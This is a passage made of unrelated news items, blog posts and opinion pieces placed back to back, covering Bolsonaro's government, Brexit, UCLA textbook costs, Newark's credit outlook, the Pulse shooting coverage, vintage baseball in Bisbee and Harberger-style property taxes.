“dismissal” from the government if Lorenzoni concluded that they held far-left ideological beliefs in conflict with his administration. “It doesn’t make sense to have officials with antagonistic ideological orientations [working for us],” Lorenzoni asserted. “It is not reasonable to have socialists, communists, any of that stuff here.” Lorenzoni was careful to specify that the process will not be a “witch hunt” and, to that end, “first we dismiss, then we discuss,” and those who are found to be compatible workers for Bolsonaro’s government will return to their positions. The primary reason for this reevaluation, Lorenzoni explained, was that the PT had ruled the country for 14 years, most of the 21st century. While its two presidents fared poorly after their tenures – Luiz Inácio Lula da Silva is serving a 12-year sentence for corruption while president; Dilma Rousseff was impeached out of office and lost a senate bid last year – 14 years is over a decade of low-profile hires throughout the expansive Brazilian federal state infrastructure. Maintaining staff in key positions in agencies like the Foreign Ministry or the Ministry of Justice who oppose the reforms Bolsonaro campaigned on could make those reforms impossible. The removal of “communists” from the government is part of the first major effort of the Bolsonaro administration: reducing the prodigious size of the Brazilian government. Bolsonaro officials have suggested that as many as 3,100 government jobs are expected to be cut at the federal level. Brasilia will also move to sell as many as 700,000 government-owned properties back into private ownership. Bolsonaro made the eradication of Marxist thought from the government a priority as a candidate. In his inaugural address Tuesday, Bolsonaro declared his victory “the day in which the people began to free themselves of socialism, the inversion of values, state maximalism, and the politically correct.” “That is our flag, which will never be red. It will only be red if it is necessary for our blood to keep her green and yellow,” he concluded. “We cannot allow nefarious ideologies to come and divide Brazilians – ideologies that destroy our values and traditions, destroy our families, the foundations of our society.” Prior to assuming office, Bolsonaro also stated at a conservative conference that he would seek to create a global coalition against communism, particularly targeting the removal of toxic Marxist regimes in neighboring Cuba and Venezuela. All of Latin America “knows what the consequences of the left are. The clearest example is Cuba, and the nation that most clearly approximates that reality is Venezuela,” he said, stating that Brazil, as South America’s largest country, has an “obligation” to lead in the effort to restore freedom in those countries. Despite these declarations against communism, Bolsonaro held a friendly meeting with an envoy sent by the most powerful communist leader in the world, China’s Xi Jinping, relaying a message of cooperation to the Communist Party leader. China is Brazil’s largest trade partner as a product of a policy of distance from the West under Lula and Rousseff. Candidate Bolsonaro expressed concerns that “China is buying Brazil” and vowed to cut trade with Beijing down to a manageable level. The president also met with U.S. Secretary of State Mike Pompeo this week, expressing hope that Brasilia-Washington ties would thrive during his presidency. He told reporters that he would discuss the implementation of a U.S. military base in Brazil with American officials “in the future,” given growing military operations by Russia in neighboring Venezuela.

What do you mean you don’t need the help of a web application company? If there is one direction our world is heading to nowadays – it’s digital. Everything is revolving around computers, the internet, and AI that practically everything we do is somehow becoming more and more automated as the days pass. Before we could only communicate through telephones. Now, we don’t just have wireless phones, we can even do video calls with them. With the rate we’re going, I wouldn’t be surprised to hear that hologram calls are the next big thing one of these days. And while they’re up to it, why don’t they just make the rest of the 1900’s kids’ fantasies come to life – flying cars, elevator roads, hovercrafts, and other stuff like that. ALSO READ: General Java Interview Questions Okay. My imagination’s gone off a little too far there. Quick rewind and we’re back to web applications. So we’ve already entered the technological age. Job hiring is now done online, pizza delivery is now placed online, shopping for food, clothes, heavy equipment, tickets, and even cars can now be done through online transactions. Add the fact that some form of online currency is becoming more and more mainstream as time goes by (see reference). If there is a better time to start taking your business online, it’s now. E-commerce is steadily rising. Surely, several hundreds of entrepreneurs join the online fiasco on a daily basis. And the numbers will just keep on getting higher. Setting up camp now, or striking while it’s still lukewarm may be the best decision you’ll ever make for your business. When the E-commerce fad hits the home run, there’s a good chance funding your own web application would be far more difficult and expensive than it is now. So if you plan to jump on the “web wagon” sometime soon anyway, why not now? Unless you’re a programmer, one major concern you should have about setting up your own web application is deciding who will do it for you? To a bystander, creating a web application from scratch is pure gibberish. Nothing makes sense. But in the hands of an expert, creating a web application – a winning one – can be as easy as 1-2-3! This is why it is very important that you choose who you deal your E-commerce venture to. To better guide you in selecting the right company, we have prepared this short guide for you. So without further ado, here are some signs you should look for in the web application company you’re about to deal with: Clean Background – When a web application company is fraudulent, scammy, or just plain bad, a word about it will definitely find its way to the internet’s information vine. You know you’ve got a clean company when (1) bad reviews range from few to none; (2) There are no negative associations pointing to the company in well-known information vines like Reddit and Quora, and (3) It shouldn’t be too clean. When we say clean background we do not mean BLANK. When there is no online information available on a company that claims they’re the “best web application developer,” there’s a good chance they’re just lying about it to rip you off – a complete fake. Because if they really were “the best,” the internet would at least have some record of their previous activities. Having no previous record is much more dangerous than having a bad one. Winning Portfolio – You know you’ve got a slaying web app developer when their portfolio can speak for themselves. In matters that concern the design, portfolios are very important references. People can’t just say they’re world-renowned artists without having any artwork to show for it. In the same way that a singer can’t say she’s a worldwide phenomenon when she doesn’t even have a single album on record. Portfolios become proof of your work. It also serves as a handy marketing tool. With a portfolio, a web application company can just go “Hey. This is our work. Do you want it or not?” Yes, portfolios make life this simple. If the E-commerce business you’re about to put up can be represented in a portfolio, you might as well start preparing one for yourself. Ability To Explain In Layman’s Terms – We get it. You’re a web application coding genius. But is it really necessary for you to talk in the coding language with your client? Your client is not a programming expert like you; there is absolutely no sense in using programming jargon to explain your point. Real programmers, the ones that know exactly what they are doing and why they are doing it, would know how to explain the entire web application building process in the simplest ways possible. Using heavy, convoluted words would only make people suspicious. Is this guy just trying to sell himself off as an expert, or what? Real experts know how to make common people understand the most complex processes – even something as complicated as web application development . Whenever people try to talk big with me, they often have something they don’t want me to find out. This is why I strongly suggest that you don’t trust developers who talk in their own language. They probably don’t understand themselves either. And that’s it. Three, totally noticeable signs to know whether your prospect web application developer is the real deal or not. When you decide to jump into the E-commerce train, make sure to keep yourself guarded at all times. The internet is a crazy place. There are a lot of smart people who would try to get the best of you if you don’t know how to play your cards right. One thing to remember, however, is that the best choices are often made after you have calmly assessed the reality of the situation. Do not go jumping on to any train without knowing where it is headed just because you saw a 70% off sign. Make your choices wisely and make them count. ALSO READ: Roadmap to become a web developer in 2018

Students taking classes from the chemistry and biochemistry department may start paying less for course materials. Starting fall, the department will require instructors to provide students with no-cost alternatives to course materials and are required to state in their syllabuses whether they profit off the sale of any written course material. No-cost alternatives include online copies or hard copy library reserves of written course materials. Professors must explain how to access those alternatives in their syllabuses. Catherine Clarke, chair of the department of chemistry and biochemistry, said an email that Chancellor Gene Block forwarded her from a student’s mother first brought the problem of textbook prices to her attention. In the email, the mother said she was upset over the high cost of a course reader in an introductory chemistry class. “It came to my attention that this was a really inappropriately priced material and the mom felt very outraged that her son was required to buy this,” Clarke said. She said she met with the department about the issue of textbook costs and the faculty decided to create a committee to approve written materials that impose a cost on students. “All instructors that use course materials that impose a cost upon our students must submit these materials so that they can be reviewed and approved by the committee,” Clarke said. “(The committee) will only approve items that provide value in proportion to cost.” Clarke added because this policy is still new and fall quarter has not started yet, the department will do its best to ensure compliance. “We do have a pretty good idea of the kinds of written materials that instructors have used in the past,” Clarke said. “We’re particularly aware of which instructors have used these sorts of materials in the past and will follow up with them.” Clarke added she hopes every department will implement this policy. Divya Sharma, the Academic Affairs commissioner of the undergraduate student government, said he thinks it is problematic if professors try to profit off students since the university already pays them. He added he thinks providing downloadable copies of textbook materials is better than asking students to use library reserves. “I know having reserves in a library does become an issue if students are all trying to access (the same book) at a time,” Sharma said. “I hope (this is implemented) in conjunction instead of one or the other.” Sharma added his office is working to make sure other departments implement similar policies. For example, Sharma said humanities professors often make reading materials accessible online, even though their departments do not have official policies on controlling textbook prices. His office will lobby to make this policy explicitly official. Dawn Setzer, a UCLA Library spokesperson, said in a statement the library supports the policy and will work with instructors to align the UCLA Library’s collections with professors’ instructional needs. “We are fully supportive of the policy and provided the department with information we had gathered through our course materials initiative, our course reserves service, and ongoing partnership with the UCLA Store on course packs,” she said. Kahlo Baniadam, a third-year psychobiology student, said he thinks the policies will benefit students who are sometimes expected to pay hundreds of dollars in textbooks for chemistry-related classes. “Since the authors (of the textbooks) are definitely making money, the biggest thing for me is that there will be a free option,” Baniadam said. “(Having free alternatives) is the main thing that will solve all the problems, if the policy is enforceable.” Baniadam said in some classes, textbooks and course readers were strongly recommended and necessary for practice problems. He added students often had to buy the course readers brand-new because of frequent changes to the material, which he said he thinks caused financial burden to some. Baniadam added he thinks professors should post lecture notes online instead of requiring students to buy them as textbooks or course readers. Janet Song, a third-year biochemistry student, said she thinks the new policies increase transparency between students and faculty. “Textbooks are expensive,” Song said. “My financial situation wasn’t too bad, but I could see how it could be difficult for other people.”

British legislators have rejected beleaguered Prime Minister Theresa May‘s Brexit deal, plunging the future of the UK’s bid to leave the European Union deeper into crisis and raising the possibility of a delayed departure. MPs in the lower chamber House of Commons on Tuesday voted 391 to 242 against May’s plan, fewer than 24 hours after she claimed to have won meaningful concessions from Brussels over the deal’s contentious so-called “backstop” clause. The result marked a second defeat within two months for the prime minister over her Brexit strategy after MPs overwhelmingly rejected the proposed withdrawal agreement by a margin of 230 in January. MPs are now set to vote on Wednesday on whether to leave the EU without a deal, as promised by May, 16 days before the UK is scheduled to depart the bloc on March 29. 181201182945771 If legislators opt against departing without an agreement on future relations, the government will hold another vote the following day on whether to request an extension to Article 50 – the exit clause in the EU’s constitution – from Brussels in a bid to buy more time as it seeks to strike a different divorce deal. Following the defeat on Tuesday, May said she was “passionate” about delivering Brexit. “But I equally passionately believe that the best way to do that is to leave in an orderly way with a deal,” she added. Leader of the main opposition Labour Party Jeremy Corbyn said the result meant May’s plan for leaving the EU was “dead” and called on the government to adopt his proposals for an alternative departure from the bloc. The EU has said no other terms of withdrawal are available to the UK other than the deal brokered with May during months of fractious back-and-forth negotiations, however. A spokesperson for European Council President Donald Tusk said MPs second rejection of the agreed withdrawal plan “significantly increased” the risk of a “no-deal” divorce. “Should there be a UK reasoned request for an extension, the EU27 will consider it and decide by unanimity,” the spokesperson added, citing the 27 members of the bloc minus the UK. The EU’s Brexit negotiator Michel Barnier, meanwhile, said the bloc had done “everything it can to help get the Withdrawal Agreement over the line”. “The impasse can only be solved in the UK. Our ‘no-deal’ preparations are now more important than ever before,” Barnier said in a tweet. Nearly 52 percent of Britons – more than 17 million people – voted in favour of quitting the 28-member EU during a June 2016 referendum. Turnout was 72 percent.

Moody's Investors Service has raised its rating outlook for Newark to positive from negative, citing ongoing development projects and improving financial management in New Jersey's largest city. Newark Mayor Ras Baraka said the change marked the first time in eight years that the city received a positive credit-rating outlook. Continue Reading Below Newark's credit rating for its general-obligation bonds remains unchanged at Baa3, Moody's lowest investment grade rating, although the positive outlook indicates an upgrade is possible in one to two years. The city has been downgraded four notches by Moody's since June 2010, when its credit-rating was A2 with a negative outlook. The city's finances and economy are still in a "challenged state" with poverty, crime and budget strains continuing to pose problems, Moody's said in a report published Thursday. Newark, the state's largest city with a population of more than 280,000, has long relied on state aid to stay afloat. But recent interest by developers seeking to capitalize on ample vacant land and easy access to New York City has helped the city's tax base, which expanded for two consecutive years for the first time since the recession and reached $16 billion in 2017, according to Moody's. "That was key to us, seeing the economic growth translate into tax base growth," said Orlie Prince, vice president and senior credit officer at Moody's. "There was no need to rely on short-term borrowing to get through the fiscal year, which for us was a telling sign that things were on the mend." Newark's Mr. Baraka said in a statement that Moody's outlook represented "confirmation of our progress in restoring the city's financial health" through efforts such as recruiting new businesses, hiring more police officers, expanding affordable housing and improving the city's roads. Newark's liquidity has improved from 2014, when it had a cash deficit by Moody's calculations. The city ended 2016 with $64.8 million in operating cash, representing 9.8% of revenues, Moody's said. The ratings firm said it will watch for continued improvements in budget management and sustained economic development in considering whether to upgrade the city's credit rating. Also on Thursday, New Jersey Gov. Chris Christie signed legislation authorizing a multi-billion dollar tax-incentive package for Amazon if it builds its second headquarters in New Jersey. Mr. Christie has proposed Newark as the ideal location, and the city has offered up to $2 billion in tax abatements and wage-tax waivers to lure the online retailer. The state, through its Economic Development Authority, has offered up to $5 billion in tax incentives over 20 years if Amazon creates 50,000 new jobs. Mr. Christie, a Republican, will leave office Tuesday after eight years in Trenton. He will be replaced by Gov.-elect Phil Murphy, a Democrat. Write to Kate King at [email protected] (END) Dow Jones Newswires January 11, 2018 17:37 ET (22:37 GMT)

Pope Francis told mothers at a baptism ceremony in the Sistine Chapel to not be afraid to breastfeed their babies, if they started crying because they were hungry.

(Carlo Allegri/Reuters) Will the New York Times apologize for its unconscionable attacks? In the annals of American political narratives, few were worse and more malicious than the notion that a young Muslim jihadist decided to shoot up a gay nightclub in Orlando because of an alleged “climate of hate” created by American Christians. This was no mere fringe view. Remember the astonishing piece by the New York Times editorial board on June 15, 2016 — published a mere three days after the attack? Here’s a taste: While the precise motivation for the rampage remains unclear, it is evident that Mr. Mateen was driven by hatred toward gays and lesbians. Hate crimes don’t happen in a vacuum. They occur where bigotry is allowed to fester, where minorities are vilified and where people are scapegoated for political gain. Tragically, this is the state of American politics, driven too often by Republican politicians who see prejudice as something to exploit, not extinguish. It then proceeded to name-check GOP politicians for their alleged homophobia, before ending with this unconscionable flourish: “The 49 people killed in Orlando were victims of a terrorist attack. But they also need to be remembered as casualties of a society where hate has deep roots.” It would be bad enough if it was “only” the editorial board of the nation’s most powerful newspaper attacking Christians after a Muslim terrorist attack, but remember this contentious Anderson Cooper interview where he incredibly asked if Pam Bondi, Republican attorney general of Florida, was a “hypocrite” for declaring that anyone who attacks the LGBT community would be “gone after with the full extent of the law.” And why was she a hypocrite? Because she defended the definition of marriage in Florida’s constitution. No, really. Watch: The examples could roll on and on. Progressive Christian celebrity Jen Hatmaker wrote a viral Facebook post arguing that Christian “anti-LGBTQ sentiment has paved a long runway to hate crimes.” The Washington Post published a piece arguing that “we can’t ignore America’s homegrown homophobia.” In a lengthy Vox interview, a prominent LGBT activist argued that it was “time to talk about America’s faith-based homophobia problem.” As I wrote at the time, the reasoning went something like this: “If you oppose same-sex marriage or mixed-gender bathrooms, then you not only can’t legitimately grieve the loss of gay lives, you’re partially responsible for the massacre in Orlando.” This reasoning was ridiculous on its own terms. It was based entirely on Mateen’s alleged homophobia combined with the completely unproven, totally unsupported notion that he was somehow influenced by American Republican rhetoric to attack a gay club. That was the entire basis for using a terrorist massacre to attack and shame fellow citizens. Well now, thanks to the trial of Omar Mateen’s wife, Noor Salman, the facts are in. As Melissa Jeltsen wrote in a well-reported piece for HuffPost, quite a few members of our media elite got the Pulse massacre story “completely wrong.” Oops: Salman’s trial cast doubt on everything we thought we knew about Mateen. There was no evidence he was a closeted gay man, no evidence that he was ever on Grindr. He looked at porn involving older women, but investigators who scoured Mateen’s electronic devices couldn’t find any internet history related to homosexuality. (There were daily, obsessive searches about ISIS, however.) Mateen had extramarital affairs with women, two of whom testified during the trial about his duplicitous ways. Double oops: As far as investigators could tell, Mateen had never been to Pulse before, whether as a patron or to case the nightclub. Even prosecutors acknowledged in their closing statement that Pulse was not his original target; it was the Disney Springs shopping and entertainment complex. They presented evidence demonstrating that Mateen chose Pulse randomly less than an hour before the attack. It is not clear he even knew it was a gay bar. A security guard recalled Mateen asking where all the women were, apparently in earnest, in the minutes before he began his slaughter. This was a terrorist attack, pure and simple. There’s no evidence it was an anti-gay hate crime. In fact, as Jeltsen notes, Florida’s 2016 hate-crimes report “does not include the 49 victims of the Pulse shooting in its official total.” The available evidence indicates that Mateen’s original target was Disney Springs and EVE Orlando, but he was deterred by “heavy, visible security.” He then googled “downtown Orlando nightclubs” before targeting Pulse. Mateen’s attack was a “crime of opportunity, the location chosen at random.” It’s fashionable to mock American Evangelicals for their alleged “persecution complex.” Scornful elites shake their heads and mock the decision of Evangelicals to vote for Donald Trump. Indeed, I’ve had my own issues (for very different reasons) with Evangelical hypocrisy in 2016 and beyond. But if you want to know why American Christians sometimes feel as if they’re under siege, realize this — at the highest levels of media and in the complete absence of evidence, influential people tried to make the case that Christian and Republican “hate” was partially responsible for the worst jihadist massacre since 9/11. Now that we know the facts, it’s time for accountability. This is not a case of “No harm, no foul. I was merely expressing my opinion.” There is much harm. This is a flagrant foul. Members of the mainstream media rightfully scorn fringe sites and online demagogues who leap to conclusions after each and every mass shooting, spreading conspiracy theories and using the wildest claims as a club to beat their political opponents. In this case, however, the “fringe site” was the New York Times. The online demagogues were people toasted in elite circles across the land. Their actions were inexcusable then, and they’re even more inexcusable now. An apology is necessary. A course correction is mandatory. But I’m not holding my breath. American polarization means never having to say you’re sorry. Moderation in opposition to the GOP is no virtue. Extremism in the fight against “homophobia” is no vice. And so you’re never really wrong if you attack the right enemies. After all, this is culture war, and in culture war there is no substitute for victory, facts and reason be damned.

(Side note: This was intended to be more of a photographic essay pic. However, the generic dollar store bran AA batteries in my camera ran out of juice shortly into the first day. I didn't bother to check them before I left, nor did I think about getting new ones at any point. I have a degree.) To get to Warren Ballpark from any of the more populated bits of Arizona, you have to do quite a bit of rural highway driving. After leaving Interstate-10, you pass through Benson, Tombstone, St. David (where drivers are as adept at driving up to the Speed Limit as Barry Zito is adept as hitting 100 on his fastball.), and a whole bunch of desert and mountains before you get to Bisbee. However, it is not in the fashionable Old Bisbee that you'have probably heard about. It is southeast of there in the less cosmopolitan but easier to park in part of town known as Warren (hence the name.) From a quick glance, Warren Ballpark looks like any other smallish stadium in America. The infield seating only extends to the ends of each dugout, and is wooden and built not-unlike a Roman Amphitheater. The outfield seats are difficult to access and don't quite face the field like you would expect. However, Warren Ballpark first started playing professional baseball games in 1909. It has been home to pro, semi-pro, and high school games since then. As such, it purports to be the oldest continuously used Baseball field in the United States. Obviously, there is some dispute to that, but that is still a long time to be continuously playing baseball on one field. The list of players who have played on the field through its history is also impressive. You can find a pretty comprehensive book on the history of the park by Mike Anderson, who also plays Vintage Baseball and is a fountain of knowledge on the park and on Bisbee in general and is a genuinely nice guy. The Copper City Classic is in its fourth year. It takes teams from the Arizona Territories Vintage Baseball League and elsewhere and has each team play three games each for the entertainment of the viewing public. The proceeds from ticket and concession sales go to maintaining and restoring the park. For the past few years, the main aim has been to restore the bathrooms at the park, which can only be described as "harrowing." The entire locker room area underneath the stands does look like time has taken its toll. There is a certain charm to it, I suppose, and it's way fancier than any other place that I've played baseball. There is also an incongruous looking couch in the visitor's locker room. And I loves me an incongruous couch. The six teams participating in the Copper City Classic this year were the Bisbee Black Sox, The Bisbee Bees (who are from the valley, so it's confusing), The Glendale Gophers, The Phoenix Senators, The Tucson Saguaros (that's who I play for!), and The Colorado Territorial All-Stars. The ATVBBL uses 1860s baseball rules. Some of the main differences between those and modern rules, from their website: Most games in the ATVBBL use rules from 1860. Some of the differences between those rules and modern baseball include: Underhand pitching. If a ball is caught on one bounce, it's an out. If a ball is caught off a foul tip, either on the fly or one bounce, it's an out. Balls caught on the fly or one bounce by anybody (players from either team, spectators, etc.) are outs. If the ball is caught on the fly, you cannot tag up and advance. If a ball is caught on one bounce, runners may advance at will without tagging up. A ball is determined fair or foul based on where it first strikes the ground. It does not have to pass first or third base to be considered fair. Fouls are not strikes. No overrunning first base. If you overrun the base, you can be tagged out. No lead-offs or stealing. Balls and strikes were not usually called in 1860. The hurler's job is to pitch balls that the striker can hit. The defense is supposed to put out the striker, not the hurler. The umpire's word is the law! Only the team captain is permitted to speak to the umpire, who is always addressed as "sir." Any arguing with the umpire, profane language, or ungentlemanly conduct is punishable by a 25 cent fine. One fun aspect of vintage ball are the nicknames. Everyone is required to have an "Old Timey Soundin'" nickname (Like "Pop" or "Cracker Jack ") which can lead to a lot of fun. This year, I went simply by "Bag of Malarkey." You can get those under the boxed Malarkey at the Safeway for a cheaper price. I was the hurler for all 19 innings of play that Tucson played. With the soft Lemon Peal balls the league uses, I find that a circle change-up grip helps me get it over the plate. Just a pro tip. The first game of the tournament was between Tucson and the Black Sox. Tucson won 7-4 and I had two hits in the game, so that was nice. In the interim between games, I got to meet someone very cool. One of the honorees for the tournament was Earl Wilson, who pitched from 1959 to 1970 and threw a no-hitter for the Red Sox in 1962. He began his playing career in 1953 for the Bisbee-Douglas Copper Kings, who played in Warren. Wilson passed away in 2005, so his good friend Jim "Mudcat" Grant showed up to honor him, and he threw out the first pitch for the second game of the tournament. He also hung out and talked with anyone who wanted to. He was also around for the entire tournament, signing and selling merchandise, and talking about pitching to anyone interested. I only directly spoke to him briefly, but I listened to him talk about pitching for a good while. I didn't take notes (because, again, I'm smart.) but the two things I remember distinctly were: 1. He drew a 3x3 grid on a piece of paper and used it to show arm slot for various pitches, which I thought was cool. 2. He said that you should learn how to pitch a sinking fastball of some sort if you're able to. Before the second day of games he also sang the National Anthem, and he sounded pretty darn good. He's a very nice man, and it was an honor to meet him. He co-wrote a book that was published in 2007 called The Black Aces, which is about every African-American 20 game winner in MLB's history. I bought a photo autographed by him of him, Larry Doby, and Satchel Paige when they all were playing for the Cleveland Indians in 1958. via i753.photobucket.com The second game I played in pit the Saguaros against the Bisbee Bees. That one ended with a 5-4 walkoff win by the Saguaros, when "Knuckles" hit a game-winning double that drove home "Kid Missouri". "Bag of Malarkey" hit like one, going 0-4. The Saguaros played one game on the second day of the tournament, defeating the Colorado Territorial All-Stars 7-2, giving us a 3-0 record, and officially ending our season over .500 for the first time in our three year existence. I've had loads of fun every year I've played in the Copper City Classic, and I would suggest that if you have a day free the next time it comes around that you drive down and check it out. Check out Warren Ballpark in general if you're ever in Cochise County. The view of the mountains when you're standing in the batter's box is awesome, and it's worth checking out just because of its history. You can always donate to Friends of Warren Ballpark to help with restoration. And if you ever feel like playing Vintage Baseball here in Arizona, you should! The league is always looking for more players.

Maria Danilova Associated Press Washington — Education Secretary Betsy DeVos’ school-choice agenda is getting a bit of a boost from the Republican tax bill, which would allow parents to use education savings accounts to pay tuition at private elementary and secondary schools. Yet some conservative groups favoring school choice say the tax bill doesn’t help low-income families. Expanding school choice — access to charter, private and other options besides neighborhood schools — has been a top priority of the Trump administration and DeVos, who has spent decades working on that front in her home state of Michigan. But nine months into her tenure, DeVos has yet to come forward with a major school choice initiative, which her supporters have been hoping for and her critics have feared. The tax proposal stops significantly short of the $20 billion school-choice project that President Donald Trump promised on the campaign trail. Under the GOP bill, parents would be able to use up to $10,000 per year from a 529 education savings account to pay for K-12 education; that account was previously restricted to college tuition and expenses. At the same time, the bill calls for phasing out the Coverdell savings account, which offered similar tools but capped the contributions at $2,000 annually, and rolling it into the 529. “This is a good step forward, reflecting that education should be an investment in individual students, not systems,” DeVos said in a statement. The American Federation for Children, a school choice advocacy group that DeVos used to head, praised the idea of expanding the 529 accounts to elementary and secondary schools students, but warned that low-income families have fallen through the cracks. John Schilling, CEO of the group, said in a statement that its members are “concerned about and focused on those families who do not have 529s, typically low-income families who aren’t able to put away those savings, who are looking for more and better educational options for their children.” Rick Hess, director of education policy at the conservative American Enterprise Institute, said that the change will have a “very modest impact,” since a 529 savings account is not tax-free and only exempts one from paying taxes on the return to investment. That, he said, doesn’t amount to much, unless the account has existed for many years. GOP revises tax bill A day after the GOP unveiled its plan promising middle-class relief, the House’s top tax-writer, Rep. Kevin Brady, released a revised version of the bill that would impose a new, lower-inflation “chained CPI” adjustment for tax brackets immediately instead of in 2023. That means more income would be taxed at higher rates over time — and less generous tax cuts for individuals and families. The change, posted on the website of the Ways and Means Committee, reduces the value of the tax cuts for ordinary Americans by $89 billion over 10 years compared with the legislation released with fanfare Thursday.

16 The iconic face of a Red Army soldier at a war monument in Brest. Hurnievic says if Belarusians are dour, they have good reason to be. “[Belarus] is between Germany and Russia -- between two big empires -- so all our history is wars. So that’s why we want to be like a partisan in the forest, no smile, no happiness. Because we are afraid about ourselves.”

KYODO NEWS - Jul 9, 2017 - 19:06 | Sports, All Japan defender Yuto Nagatomo said on Sunday he may leave Inter Milan after six-and-a-half seasons at the Serie A club. "I'm excited to find out myself where I will be playing," Nagatomo said before boarding his flight at Narita airport in Chiba Prefecture to rejoin Inter for the time being. "I have the option of staying at Inter and also the option of transferring. There are other clubs that covet me." Nagatomo, 30, has called Inter home since January 2011 and has a contract with them through the 2018-19 season. But the fullback said that with the World Cup being held next year, he may have to part ways with Inter if he feels regular playing time will not come under new manager Luciano Spalletti. "I want to push myself at a club where I can get games, where I will have a chance," Nagatomo said.

Six years ago I posted on the idea of using combinatorial auctions as a substitute for zoning. Since then, news on how badly zoning has been messing up our economy has only gotten worse. I included the zoning combo auction idea in my book The Age of Em, I’ve continued to think about the idea, and last week I talked about it to several LA-based experts in combinatorial auctions. I’ve been pondering one key design problem, and the solution I’ve been playing with is similar to a solution that also seems to help with patents. I asked Alex Tabarrok, whose office is next door, if he knew of any general discussion of such things, and he pointed me to a long (110 page) 2016 paper called “Property is another name for monopoly” by Eric Posner and Glen Weyl. (See also this technical paper.) And that turned out to be a relatively general argument for using the specific mechanism that I was considering using in zoning combo auctions, get this, as a new standard kind of property right for most everything! Looking for web discussion, I find a few critical responses, and one excellent 2014 Interfuildity post on the basic idea. In this post I’ll go over the basic idea and some of its issues, including two that Posner and Weyl didn’t consider. But let’s start with basics. Imagine that you are the sole power over some new large empty territory, able to do anything you want with it. You will soon invite many people to (pay to) enter your territory, and each of them will need some sort of local property rights to support their activities. So you will need to divide your large territory into many smaller property units. And you will want to divide things well, i.e., to “carve nature at its joints,” so that you can promote the productive use of this territory. After all, if people expect to be more productive in your territory, they’ll pay you more for your properties. Yes, if you bundle things together badly, people might be able to re-bundle them in better ways later. But that could be a slow and expensive process; better to get it right the first time. For example, you’ll want to put things that need to be coordinated more closely together into the same bundles, and you’ll want boundaries between the units that are easy to monitor and enforce. You may also want each unit to contribute to and be subject to some sort of governance structure, to ensure a rule of law and sufficient production of public goods. Even in the best case of a single owner who can choose any property rules he or she likes, this general problem of designing efficient property rights is complex and hard. But the framework I’ve just outlined is in essence the usual account of ideal property rights within the law & economics field (a subject on which I teach often) . One important dimension of property design is the strength of the property rights. For example, in land property you might let each owner do absolutely anything they want with their land, or your might limit some activities (like explosives, pollution, and blocking views or sunlight) if neighbors are likely to place a higher value on such limits than each owner would place on their absence. And one key area where property rights can be stronger or weaker is regarding one’s freedom to set a resale price. When you announce an offer to sell your property at a certain price, you in effect give an option to buy that property to the rest of the world. The world values this option, and values it more the lower is its strike price. Options on properties given to the world at lower prices make it easier for others to buy the properties that they value, and to assemble and recombine property units into new bundles. So when you design a property rights system, you might want to add extra incentives for people to create and maintain lower price offers. Consider the examples of people who bought internet domain names, like “walmart.com”, early on in the hope of being able to resell them to the big firms who go by those names. Or consider homeowners who demand huge prices to sell their land to someone trying to assemble a large area to build a shopping mall. In these and many other cases, economic harm is done because owners can pretend to value their property for much more than they actually do. This also seems a big problem in combo auctions; one-sided combo auctions, where everyone buys from one seller, seem to work much better than do two-sided auctions, where many sellers can demand very high prices even when their values are much lower. In 1965 the economist Arnold Harberger (of Harberger triangle fame) published on self-assessment in property taxes. The idea is to let each owner assess their property at any value they want, but that assessed value becomes a price at which they offer to sell their property to anyone. (Harberger didn’t invent the idea; it goes back at least to ancient Rome.) Posner and Weyl consider applying this basic idea to most all property, and call it a “Harberger tax.” That is, a simple way to create an incentive for low offer prices on any kind of property is to require the owner of that property to continuously pay a fee proportional to their posted offer price, i.e., the price they announce at which they will sell their property. The lower their price, the less they pay. Of course the owner of a property is well advised to not set their price much below the value that they actually have for this property, to avoid regret should someone accept their offer. When people become attached to a property, their value will be well above its market price, and given an honest valuation of it, the chance that it will be sold should be very low. Now this fee is not mainly intended to raise revenue for redistribution or central services. It is instead intended mostly to promote efficient use of property, so that the best people use each item in the best ways. Because of this, I’d rather not call this fee a “tax”, and so I’ll instead call it an “stability rent.” Just as you can buy something by paying all at once or by making “installment” payments spread out across time, part of this stability rent is payment for the property. But another part is a price you pay over time to increase your chance of keeping the property. That is, to increase the stability of your relation to this property. You can never guarantee perfect stability, however, as that would require an infinite rent. At this point you may feel that the more familiar kind of property, where you buy something at once for good and then never have to sell it or pay any property tax on it, is the more “natural” kind. Relative to that, this alternate form may seem to you an unnatural mutant abomination. But note that in fact today you usually have to make continuing payments to preserve most property. You pay for maintenance, cleaning, repair, and for a place to store things. You usually also suffer substantial chances of losing most property, via obsolescence, destruction, misplacement, theft, and legal and government policies, such as eminent domain. And you already assign explicit monetary values to property when you consider if to buy or sell, and how much to insure it for. So these new continuing fees, property loss chances, and assessment tasks are mostly just changes in degree from what you accept now. You can also think of familiar property as a special case of this new property regime, with the stability rent set to zero. And I am persuaded by the analysis of Posner and Weyl to believe that the most economically-efficient rent level is usually not zero. At least if we can ignore some complications, that I will mention soon. Yes, increasing the fee decreases the incentive of a property owner to maintain and improve that property. But for small fees that loss is outweighed by gains in making property easier to transfer to new owners. (And zoning combo auctions might work better.) To deal with various problems, Posner and Weyl propose that owners be allowed to update prices at anytime, to lump items into bundles that must be sold together, to specify “non-additive prices on subsets of goods”, to deduct observable investments from rents, and to get up to several months to actually transfer property once sold. They also suggest that potential buyers can pay a small refundable fee to inspect properties, and that some (as yet not worked out) combination of blockchains and IOT (internet of things) be used to allow direct transfer of property control while protecting owner privacy and preventing mischief by officials. They note that private insurance could help people to ensure their ability to make future rent payments, and that private apps could help people to estimate and frequently update their many property values. With everyone always posting prices on all of their property, such apps would have a lot of data to work with. I’ll also note that previous owners should be liable for any damage to property during a transfer period, and that if stability rents were distributed back to pools of owners with roughly the same wealth and other social characteristics, then individuals would only pay net stability rents when they put higher than average values on their properties, relative to others in their pool. Gramma is then only at risk of losing her longtime home if she values that home much more than do other people much like her. Yes, you might not like having to pay more in this system to get stability of your property. But that’s because in this system you are paying more of the social cost of stability. Its like how polluters prefer a world where they can pollute for free, and don’t have to pay for the social cost of their pollution. The rest of us who have to breathe their pollution shouldn’t sympathize much with their plight. Yes, this system adds some complexity to property law, but it can also greatly simplify many areas of law, including property tax assessment, eminent domain, necessity exceptions to contract, accident liability levels, corporate buyouts, and patent and copyright licensing, Posner and Weyl identify several factors that influence the ideal fee level: property turnover rate, sensitivity of value to owner investment, variance and multimodality of value distribution, and whether value tends to grow or decline over time. Even so, We would advocate a relatively coarse system with a small number of easily distinguishable categories such as natural resources, equipment, real estate, corporate securities, general personal property, keepsakes, and heirlooms. … Rates within these categories being set per a coarse and easily auditable heuristic, such as the currently observed 